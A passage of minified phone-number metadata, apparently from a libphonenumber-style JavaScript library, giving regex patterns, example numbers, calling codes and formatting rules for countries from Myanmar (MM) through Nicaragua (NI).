$4",["[24-79]|8[0239]"]]],[[null,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[24-79]|8[0239]"]]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,"80\\d{6}"],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],MM:[null,[null,null,"(?:1|[24-7]\\d)\\d{5,7}|8\\d{6,9}|9(?:[0-46-9]\\d{6,8}|5\\d{6})|2\\d{5}",null,null,null,null,null,null,[6,7,8,9,10],[5]],[null,null,"(?:1(?:(?:2\\d|3[56]|[89][0-6])\\d|4(?:2[2-469]|39|6[25]|7[01])|6)|2(?:2(?:00|8[34])|4(?:0\\d|2[246]|39|62|7[01])|51\\d\\d)|4(?:2(?:2\\d\\d|480)|3(?:20\\d|470|56)|420\\d|5470)|5(?:2(?:2\\d\\d?|470)|4(?:2(?:1|86)|470)|522\\d|7(?:20\\d|480)|[89](?:20\\d|470))|6(?:0(?:[23]|88\\d)|(?:124|42[04]|[56]2\\d)\\d|3(?:20\\d|470)|7(?:(?:3\\d|8[01459])\\d|4(?:39|[67]0)))|7(?:0470|1(?:20\\d?|470)|4(?:25\\d|470)|5(?:202|470|96\\d))|8(?:[13](?:2\\d\\d|470)|[25]2\\d\\d))\\d{4}|(?:(?:1[2-6]\\d|4(?:2[24-8]|3[2-7]|[46][2-6]|5[3-5])|5(?:[27][2-8]|3[2-68]|4[24-8]|5[23]|6[2-4]|8[24-7]|9[2-7])|6(?:[19]20|42[03-6]|(?:52|7[45])\\d)|7(?:[04][24-8]|[15][2-7]|22|3[2-4]))\\d|25\\d{2,3}|8(?:[135]2\\d\\d|2(?:2\\d\\d|320)))\\d{3}|(?:2[2-9]|6(?:1[2356]|[24][2-6]|3[24-6]|5[2-4]|6[2-8]|7[235-7]|8[245]|9[24])|8(?:1[2-689]|2[2-8]|3[24]|4[24-7]|5[245]|6[23]))\\d{4}",null,null,null,"1234567",null,null,[6,7,8,9],[5]],[null,null,"(?:17[01]|9(?:2(?:[0-4]|(?:5\\d|6[0-5])\\d)|(?:3(?:[0-36]|4[069])|[68]9\\d|7(?:3|5[0-2]|[6-9]\\d))\\d|4(?:(?:0[0-4]|[1379]|[25]\\d|4[0-589])\\d|88)|5[0-6]|9(?:[089]|[5-7]\\d\\d))\\d)\\d{4}|9[69]1\\d{6}|9[68]\\d{6}",null,null,null,"92123456",null,null,[7,8,9,10]],[null,null,"80080(?:[01][1-9]|2\\d)\\d{3}",null,null,null,"8008001234",null,null,[10]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"(?:1(?:333|468)|2468)\\d{4}",null,null,null,"13331234",null,null,[8]],"MM",95,"00","0",null,null,"0",null,null,null,[[null,"(\\d)(\\d{2})(\\d{3})","$1 $2 $3",["16|2"],"0$1"],[null,"(\\d{2})(\\d{2})(\\d{3})","$1 $2 $3",["[45]|6(?:0[23]|[1-689]|7[235-7])|7(?:[0-4]|5[2-7])|8[1-6]"],"0$1"],[null,"(\\d)(\\d{3})(\\d{3,4})","$1 $2 $3",["[12]"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{3,4})","$1 $2 $3",["[4-7]|8[1-35]"],"0$1"],[null,"(\\d)(\\d{3})(\\d{4,6})","$1 $2 $3",["9(?:2[0-4]|[35-9]|4[137-9])"],"0$1"],[null,"(\\d)(\\d{4})(\\d{4})","$1 $2 $3",["2"],"0$1"],[null,"(\\d)(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3 $4",["92"],"0$1"],[null,"(\\d)(\\d{5})(\\d{4})","$1 $2 $3",["9"],"0$1"],[null,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["8"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],MN:[null,[null,null,"[12]\\d{8,9}|[1257-9]\\d{7}",null,null,null,null,null,null,[8,9,10],[4,5,6]],[null,null,"(?:[12](?:1|2[1-37]|(?:3[2-8]|4[2-68]|5[1-4689])\\d?)|5[0568])\\d{6}|[12]2[1-3]\\d{5}",null,null,null,"50123456",null,null,null,[4,5,6]],[null,null,"(?:8(?:[05689]\\d|3[01])|9[013-9]\\d)\\d{5}",null,null,null,"88123456",null,null,[8]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"7[05-8]\\d{6}",null,null,null,"75123456",null,null,[8]],"MN",976,"001","0",null,null,"0",null,null,null,[[null,"(\\d{2})(\\d{2})(\\d{4})","$1 $2 $3",["[12]1"],"0$1"],[null,"(\\d{4})(\\d{4})","$1 $2",["[57-9]"]],[null,"(\\d{3})(\\d{5,6})","$1 $2",["[12]2[1-3]"],"0$1"],[null,"(\\d{4})(\\d{5,6})","$1 $2",["[12](?:27|3[2-8]|4[2-68]|5[1-4689])","[12](?:27|3[2-8]|4[2-68]|5[1-4689])[0-3]"],"0$1"],[null,"(\\d{5})(\\d{4,5})","$1 $2",["[12]"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],MO:[null,[null,null,"(?:28|[68]\\d)\\d{6}",null,null,null,null,null,null,[8]],[null,null,"(?:28[2-57-9]|8(?:11|[2-57-9]\\d))\\d{5}",null,null,null,"28212345"],[null,null,"6(?:[2356]\\d\\d|8(?:[02][5-9]|[1478]\\d|[356][0-4]))\\d{4}",null,null,null,"66123456"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"MO",853,"00",null,null,null,null,null,null,null,[[null,"(\\d{4})(\\d{4})","$1 $2",["[268]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],MP:[null,[null,null,"(?:[58]\\d\\d|(?:67|90)0)\\d{7}",null,null,null,null,null,null,[10],[7]],[null,null,"670(?:2(?:3[3-7]|56|8[5-8])|32[1-38]|4(?:33|8[348])|5(?:32|55|88)|6(?:64|70|82)|78[3589]|8[3-9]8|989)\\d{4}",null,null,null,"6702345678",null,null,null,[7]],[null,null,"670(?:2(?:3[3-7]|56|8[5-8])|32[1-38]|4(?:33|8[348])|5(?:32|55|88)|6(?:64|70|82)|78[3589]|8[3-9]8|989)\\d{4}",null,null,null,"6702345678",null,null,null,[7]],[null,null,"8(?:00|33|44|55|66|77|88)[2-9]\\d{6}",null,null,null,"8002123456"],[null,null,"900[2-9]\\d{6}",null,null,null,"9002123456"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"5(?:00|2[12]|33|44|66|77|88)[2-9]\\d{6}",null,null,null,"5002345678"],[null,null,null,null,null,null,null,null,null,[-1]],"MP",1,"011","1",null,null,"1",null,null,1,null,null,[null,null,null,null,null,null,null,null,null,[-1]],null,"670",[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],MQ:[null,[null,null,"(?:596|69\\d)\\d{6}",null,null,null,null,null,null,[9]],[null,null,"596(?:0[0-7]|10|2[7-9]|3[05-9]|4[0-46-8]|[5-7]\\d|8[09]|9[4-8])\\d{4}",null,null,null,"596301234"],[null,null,"69(?:6(?:[0-47-9]\\d|5[0-6]|6[0-4])|727)\\d{4}",null,null,null,"696201234"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"MQ",596,"00","0",null,null,"0",null,null,null,[[null,"(\\d{3})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[56]"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],MR:[null,[null,null,"(?:[2-4]\\d\\d|800)\\d{5}",null,null,null,null,null,null,[8]],[null,null,"(?:25[08]|35\\d|45[1-7])\\d{5}",null,null,null,"35123456"],[null,null,"[2-4][0-46-9]\\d{6}",null,null,null,"22123456"],[null,null,"800\\d{5}",null,null,null,"80012345"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"MR",222,"00",null,null,null,null,null,null,null,[[null,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[2-48]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],MS:[null,[null,null,"(?:(?:[58]\\d\\d|900)\\d\\d|66449)\\d{5}",null,null,null,null,null,null,[10],[7]],[null,null,"664491\\d{4}",null,null,null,"6644912345",null,null,null,[7]],[null,null,"66449[2-6]\\d{4}",null,null,null,"6644923456",null,null,null,[7]],[null,null,"8(?:00|33|44|55|66|77|88)[2-9]\\d{6}",null,null,null,"8002123456"],[null,null,"900[2-9]\\d{6}",null,null,null,"9002123456"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"5(?:00|2[12]|33|44|66|77|88)[2-9]\\d{6}",null,null,null,"5002345678"],[null,null,null,null,null,null,null,null,null,[-1]],"MS",1,"011","1",null,null,"1",null,null,null,null,null,[null,null,null,null,null,null,null,null,null,[-1]],null,"664",[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],MT:[null,[null,null,"(?:(?:[2579]\\d\\d|800)\\d|3550)\\d{4}",null,null,null,null,null,null,[8]],[null,null,"2(?:0(?:[169]\\d|3[1-4])|[1-357]\\d\\d)\\d{4}",null,null,null,"21001234"],[null,null,"(?:7(?:210|[79]\\d\\d)|9(?:2(?:1[01]|31)|69[67]|8(?:1[1-3]|89|97)|9\\d\\d))\\d{4}",null,null,null,"96961234"],[null,null,"800[3467]\\d{4}",null,null,null,"80071234"],[null,null,"5(?:0(?:0(?:37|43)|(?:6\\d|70|9[0168])\\d)|[12]\\d0[1-5])\\d{3}",null,null,null,"50037123"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"3550\\d{4}",null,null,null,"35501234"],"MT",356,"00",null,null,null,null,null,null,null,[[null,"(\\d{4})(\\d{4})","$1 $2",["[2357-9]"]]],null,[null,null,"7117\\d{4}",null,null,null,"71171234"],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"501\\d{5}",null,null,null,"50112345"],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],MU:[null,[null,null,"(?:[2-468]|5\\d)\\d{6}",null,null,null,null,null,null,[7,8]],[null,null,"(?:2(?:[03478]\\d|1[0-7]|6[0-79])|4(?:[013568]\\d|2[4-7])|54(?:4\\d|71)|6\\d\\d|8(?:14|3[129]))\\d{4}",null,null,null,"54480123"],[null,null,"5(?:(?:2[589]|7\\d|9[0-8])\\d|4(?:2[1-389]|[489]\\d|7[1-9])|8(?:[0-689]\\d|7[15-8]))\\d{4}",null,null,null,"52512345",null,null,[8]],[null,null,"80[0-2]\\d{4}",null,null,null,"8001234",null,null,[7]],[null,null,"30\\d{5}",null,null,null,"3012345",null,null,[7]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"3(?:20|9\\d)\\d{4}",null,null,null,"3201234",null,null,[7]],"MU",230,"0(?:0|[24-7]0|3[03])",null,null,null,null,null,"020",null,[[null,"(\\d{3})(\\d{4})","$1 $2",["[2-46]|8(?:0[0-2]|14|3[129])"]],[null,"(\\d{4})(\\d{4})","$1 $2",["5"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],MV:[null,[null,null,"(?:800|9[0-57-9]\\d)\\d{7}|[34679]\\d{6}",null,null,null,null,null,null,[7,10]],[null,null,"(?:3(?:0[0-3]|3[0-59])|6(?:[57][02468]|6[024-68]|8[024689]))\\d{4}",null,null,null,"6701234",null,null,[7]],[null,null,"(?:46[46]|(?:7[2-9]|9[14-9])\\d)\\d{4}",null,null,null,"7712345",null,null,[7]],[null,null,"800\\d{7}",null,null,null,"8001234567",null,null,[10]],[null,null,"900\\d{7}",null,null,null,"9001234567",null,null,[10]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"MV",960,"0(?:0|19)",null,null,null,null,null,"00",null,[[null,"(\\d{3})(\\d{4})","$1-$2",["[367]|4(?:00|[56])|9[14-9]"]],[null,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["[89]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"4[05]0\\d{4}",null,null,null,"4001234",null,null,[7]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],MW:[null,[null,null,"1\\d{6}(?:\\d{2})?|(?:[23]1|77|88|99)\\d{7}",null,null,null,null,null,null,[7,9]],[null,null,"(?:1[2-9]|21\\d\\d)\\d{5}",null,null,null,"1234567"],[null,null,"(?:111|(?:77|88|99)\\d)\\d{6}",null,null,null,"991234567",null,null,[9]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"31\\d{7}",null,null,null,"310123456",null,null,[9]],"MW",265,"00","0",null,null,"0",null,null,null,[[null,"(\\d)(\\d{3})(\\d{3})","$1 $2 $3",["1[2-9]"],"0$1"],[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["2"],"0$1"],[null,"(\\d{3})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[17-9]"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["3"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],MX:[null,[null,null,"(?:1\\d|[2-9])\\d{9}",null,null,null,null,null,null,[10,11],[7,8]],[null,null,"(?:2(?:0[01]|2[1-9]|3[1-35-8]|4[13-9]|7[1-689]|8[1-578]|9[467])|3(?:1[1-79]|[2458][1-9]|3\\d|7[1-8]|9[1-5])|4(?:1[1-57-9]|[24-7][1-9]|3[1-8]|8[1-35-9]|9[2-689])|5(?:[56]\\d|88|9[1-79])|6(?:1[2-68]|[2-4][1-9]|5[1-3689]|6[1-57-9]|7[1-7]|8[67]|9[4-8])|7(?:[1-467][1-9]|5[13-9]|8[1-69]|9[17])|8(?:1\\d|2[13-689]|3[1-6]|4[124-6]|6[1246-9]|7[1-378]|9[12479])|9(?:1[346-9]|2[1-4]|3[2-46-8]|5[1348]|[69][1-9]|7[12]|8[1-8]))\\d{7}",null,null,null,"2221234567",null,null,[10],[7,8]],[null,null,"1(?:2(?:2[1-9]|3[1-35-8]|4[13-9]|7[1-689]|8[1-578]|9[467])|3(?:1[1-79]|[2458][1-9]|3\\d|7[1-8]|9[1-5])|4(?:1[1-57-9]|[24-7][1-9]|3[1-8]|8[1-35-9]|9[2-689])|5(?:[56]\\d|88|9[1-79])|6(?:1[2-68]|[2-4][1-9]|5[1-3689]|6[1-57-9]|7[1-7]|8[67]|9[4-8])|7(?:[1-467][1-9]|5[13-9]|8[1-69]|9[17])|8(?:1\\d|2[13-689]|3[1-6]|4[124-6]|6[1246-9]|7[1-378]|9[12479])|9(?:1[346-9]|2[1-4]|3[2-46-8]|5[1348]|[69][1-9]|7[12]|8[1-8]))\\d{7}",null,null,null,"12221234567",null,null,[11]],[null,null,"8(?:00|88)\\d{7}",null,null,null,"8001234567",null,null,[10]],[null,null,"900\\d{7}",null,null,null,"9001234567",null,null,[10]],[null,null,"300\\d{7}",null,null,null,"3001234567",null,null,[10]],[null,null,"500\\d{7}",null,null,null,"5001234567",null,null,[10]],[null,null,null,null,null,null,null,null,null,[-1]],"MX",52,"0[09]","01",null,null,"0[12]|04[45]([2-9]\\d{9})$","1$1","00",null,[[null,"(\\d{2})(\\d{4})(\\d{4})","$1 $2 $3",["33|5[56]|81"],"01 $1",null,1],[null,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["[2-9]"],"01 $1",null,1],[null,"(\\d)(\\d{2})(\\d{4})(\\d{4})","$2 $3 $4",["1(?:33|5[56]|81)"],"044 $1"],[null,"(\\d)(\\d{3})(\\d{3})(\\d{4})","$2 $3 $4",["1"],"044 $1"]],[[null,"(\\d{2})(\\d{4})(\\d{4})","$1 $2 $3",["33|5[56]|81"],"01 $1",null,1],[null,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["[2-9]"],"01 $1",null,1],[null,"(\\d)(\\d{2})(\\d{4})(\\d{4})","$1 $2 $3 $4",["1(?:33|5[56]|81)"]],[null,"(\\d)(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3 $4",["1"]]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],MY:[null,[null,null,"(?:1\\d\\d?|3\\d|[4-9])\\d{7}",null,null,null,null,null,null,[8,9,10],[6,7]],[null,null,"(?:3(?:2[0-36-9]|3[0-368]|4[0-278]|5[0-24-8]|6[0-467]|7[1246-9]|8\\d|9[0-57])\\d|4(?:2[0-689]|[3-79]\\d|8[1-35689])|5(?:2[0-589]|[3468]\\d|5[0-489]|7[1-9]|9[23])|6(?:2[2-9]|3[1357-9]|[46]\\d|5[0-6]|7[0-35-9]|85|9[015-8])|7(?:[2579]\\d|3[03-68]|4[0-8]|6[5-9]|8[0-35-9])|8(?:[24][2-8]|3[2-5]|5[2-7]|6[2-589]|7[2-578]|[89][2-9])|9(?:0[57]|13|[25-7]\\d|[3489][0-8]))\\d{5}",null,null,null,"323856789",null,null,[8,9],[6,7]],[null,null,"1(?:(?:0(?:[23568]\\d|4[0-6]|7[016-9]|9[0-8])|1(?:[1-5]\\d\\d|6(?:0[5-9]|[1-9]\\d))|(?:[23679][2-9]|59\\d)\\d)\\d|4(?:[235-9]\\d\\d|400)|8(?:(?:1[23]|[236]\\d|5[7-9]|7[016-9]|9[0-8])\\d|4(?:[06]\\d|7[0-4])|8(?:[01]\\d|[27][0-4])))\\d{4}",null,null,null,"123456789",null,null,[9,10]],[null,null,"1[378]00\\d{6}",null,null,null,"1300123456",null,null,[10]],[null,null,"1600\\d{6}",null,null,null,"1600123456",null,null,[10]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"154(?:6(?:0\\d|1[0-3])|8(?:[25]1|4[0189]|7[0-4679]))\\d{4}",null,null,null,"1546012345",null,null,[10]],"MY",60,"00","0",null,null,"0",null,null,null,[[null,"(\\d)(\\d{3})(\\d{4})","$1-$2 $3",["[4-79]"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{3,4})","$1-$2 $3",["1(?:[0249]|[367][2-9]|8[1-9])|8"],"0$1"],[null,"(\\d)(\\d{4})(\\d{4})","$1-$2 $3",["3"],"0$1"],[null,"(\\d{3})(\\d{3})(\\d{4})","$1-$2 $3",["15"],"0$1"],[null,"(\\d{2})(\\d{4})(\\d{4})","$1-$2 $3",["11"],"0$1"],[null,"(\\d)(\\d{3})(\\d{2})(\\d{4})","$1-$2-$3-$4",["1"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],MZ:[null,[null,null,"(?:2|8\\d)\\d{7}",null,null,null,null,null,null,[8,9]],[null,null,"2(?:[1346]\\d|5[0-2]|[78][12]|93)\\d{5}",null,null,null,"21123456",null,null,[8]],[null,null,"8[2-7]\\d{7}",null,null,null,"821234567",null,null,[9]],[null,null,"800\\d{6}",null,null,null,"800123456",null,null,[9]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"MZ",258,"00",null,null,null,null,null,null,null,[[null,"(\\d{2})(\\d{3})(\\d{3,4})","$1 $2 $3",["2|8[2-7]"]],[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["8"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],NA:[null,[null,null,"[68]\\d{7,8}",null,null,null,null,null,null,[8,9]],[null,null,"6(?:1(?:[02-4]\\d\\d|17)|2(?:17|54\\d|69|70)|3(?:17|2[0237]\\d|34|6[289]|7[01]|81)|4(?:17|(?:27|41|5[25])\\d|69|7[01])|5(?:17|2[236-8]\\d|69|7[01])|6(?:17|26\\d|38|42|69|7[01])|7(?:17|(?:2[2-4]|30)\\d|6[89]|7[01]))\\d{4}|6(?:1(?:2[2-7]|3[01378]|4[0-4]|69|7[014])|25[0-46-8]|32\\d|4(?:2[0-27]|4[016]|5[0-357])|52[02-9]|62[56]|7(?:2[2-69]|3[013]))\\d{4}",null,null,null,"61221234"],[null,null,"(?:60|8[1245])\\d{7}",null,null,null,"811234567",null,null,[9]],[null,null,"80\\d{7}",null,null,null,"800123456",null,null,[9]],[null,null,"8701\\d{5}",null,null,null,"870123456",null,null,[9]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"8(?:3\\d\\d|86)\\d{5}",null,null,null,"88612345"],"NA",264,"00","0",null,null,"0",null,null,null,[[null,"(\\d{2})(\\d{3})(\\d{3})","$1 $2 $3",["88"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{3,4})","$1 $2 $3",["6"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["8[0-5]"],"0$1"],[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["8"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],NC:[null,[null,null,"[2-57-9]\\d{5}",null,null,null,null,null,null,[6]],[null,null,"(?:2[03-9]|3[0-5]|4[1-7]|88)\\d{4}",null,null,null,"201234"],[null,null,"(?:5[0-4]|[79]\\d|8[0-79])\\d{4}",null,null,null,"751234"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"36\\d{4}",null,null,null,"366711"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"NC",687,"00",null,null,null,null,null,null,null,[[null,"(\\d{2})(\\d{2})(\\d{2})","$1.$2.$3",["[247-9]|3[0-6]|5[0-4]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],NE:[null,[null,null,"[0289]\\d{7}",null,null,null,null,null,null,[8]],[null,null,"2(?:0(?:20|3[1-7]|4[13-5]|5[14]|6[14578]|7[1-578])|1(?:4[145]|5[14]|6[14-68]|7[169]|88))\\d{4}",null,null,null,"20201234"],[null,null,"(?:8[04589]|9\\d)\\d{6}",null,null,null,"93123456"],[null,null,"08\\d{6}",null,null,null,"08123456"],[null,null,"09\\d{6}",null,null,null,"09123456"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"NE",227,"00",null,null,null,null,null,null,null,[[null,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["09|2[01]|8[04589]|9"]],[null,"(\\d{2})(\\d{3})(\\d{3})","$1 $2 $3",["0"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],NF:[null,[null,null,"[13]\\d{5}",null,null,null,null,null,null,[6],[5]],[null,null,"(?:1(?:06|17|28|39)|3[0-2]\\d)\\d{3}",null,null,null,"106609",null,null,null,[5]],[null,null,"3[58]\\d{4}",null,null,null,"381234",null,null,null,[5]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"NF",672,"00",null,null,null,null,null,null,null,[[null,"(\\d{2})(\\d{4})","$1 $2",["1"]],[null,"(\\d)(\\d{5})","$1 $2",["3"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],NG:[null,[null,null,"[78]\\d{10,13}|[7-9]\\d{9}|[1-9]\\d{7}|[124-7]\\d{6}",null,null,null,null,null,null,[7,8,10,11,12,13,14],[5,6]],[null,null,"(?:(?:[1-356]\\d|4[02-8]|7[0-79]|8[2-9])\\d|9(?:0[3-9]|[1-9]\\d))\\d{5}|(?:[12]\\d|4[147]|5[14579]|6[1578]|7[0-3578])\\d{5}",null,null,null,"18040123",null,null,[7,8],[5,6]],[null,null,"(?:1(?:(?:7[34]|95)\\d|8(?:04|[124579]\\d|8[0-3]))|287[0-7]|3(?:18[1-8]|88[0-7]|9(?:6[1-5]|8[5-9]))|4(?:[28]8[0-2]|6(?:7[1-9]|8[02-47]))|5(?:2(?:7[7-9]|8\\d)|38[1-79]|48[0-7]|68[4-7])|6(?:2(?:7[7-9]|8\\d)|4(?:3[7-9]|[68][129]|7[04-69]|9[1-8])|58[0-2]|98[7-9])|7(?:0(?:[1-689]\\d|7[0-3])\\d\\d|38[0-7]|69[1-8]|78[2-4])|8(?:(?:0(?:1[01]|[2-9]\\d)|1(?:[0-8]\\d|9[01]))\\d\\d|28[3-9]|38[0-2]|4(?:2[12]|3[147-9]|5[346]|7[4-9]|8[014-689]|90)|58[1-8]|78[2-9]|88[5-7])|9(?:0[235-9]\\d\\d|8[07])\\d)\\d{4}",null,null,null,"8021234567",null,null,[8,10],[6,7]],[null,null,"800\\d{7,11}",null,null,null,"80017591759",null,null,[10,11,12,13,14]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"NG",234,"009","0",null,null,"0",null,null,null,[[null,"(\\d{2})(\\d{2})(\\d{3})","$1 $2 $3",["78"],"0$1"],[null,"(\\d)(\\d{3})(\\d{3,4})","$1 $2 $3",["[12]|9(?:0[3-9]|[1-9])"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{2,3})","$1 $2 $3",["[3-7]|8[2-9]"],"0$1"],[null,"(\\d{3})(\\d{3})(\\d{3,4})","$1 $2 $3",["[7-9]"],"0$1"],[null,"(\\d{3})(\\d{4})(\\d{4,5})","$1 $2 $3",["[78]"],"0$1"],[null,"(\\d{3})(\\d{5})(\\d{5,6})","$1 $2 $3",["[78]"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"700\\d{7,11}",null,null,null,"7001234567",null,null,[10,11,12,13,14]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],NI:[null,[null,null,"(?:1800|[25-8]\\d{3})\\d{4}",null,null,null,null,null,null,[8]],[null,null,"2\\d{7}",null,null,null,"21234567"],[null,null,"(?:5(?:5[0-7]|[78]\\d)|6(?:20|3[035]|4[045]|5[05]|77|8[1-9]|9[059])|(?:7[5-8]|8\\d)\\d)\\d{5}",null,null,null,"81234567"],[null,null,"1800\\d{4}",null,null,null,"18001234"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"NI",505,"00",null,null,null,null,null,null,null,[[null,"(\\d{4})(\\d{4})","$1 